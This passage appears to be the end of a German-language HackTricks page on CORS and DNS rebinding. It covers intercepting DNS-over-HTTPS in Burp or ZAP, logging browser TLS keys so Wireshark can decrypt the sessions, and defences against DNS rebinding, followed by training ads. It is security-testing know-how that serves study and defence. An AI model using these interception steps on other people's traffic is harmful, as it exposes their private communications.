  • Das Abfangen von DoH in Burp/ZAP funktioniert weiterhin, weil es einfach HTTPS ist (binäre DNS-Payload im Body). Für Paket-Level-Inspektion exportiere TLS-Keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) bevor du den Browser startest und lasse Wireshark die DoH-Sessions mit dem dns Display-Filter entschlüsseln, um zu sehen, wann der Browser auf DoH bleibt oder zum klassischen DNS zurückfällt.

Echter Schutz gegen DNS Rebinding

  • Use TLS in internal services
  • Request authentication to access data
  • Validate the Host header
  • https://wicg.github.io/private-network-access/: Proposal to always send a pre-flight request when public servers want to access internal servers

Werkzeuge

Fuzze mögliche Fehlkonfigurationen in CORS-Policies

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks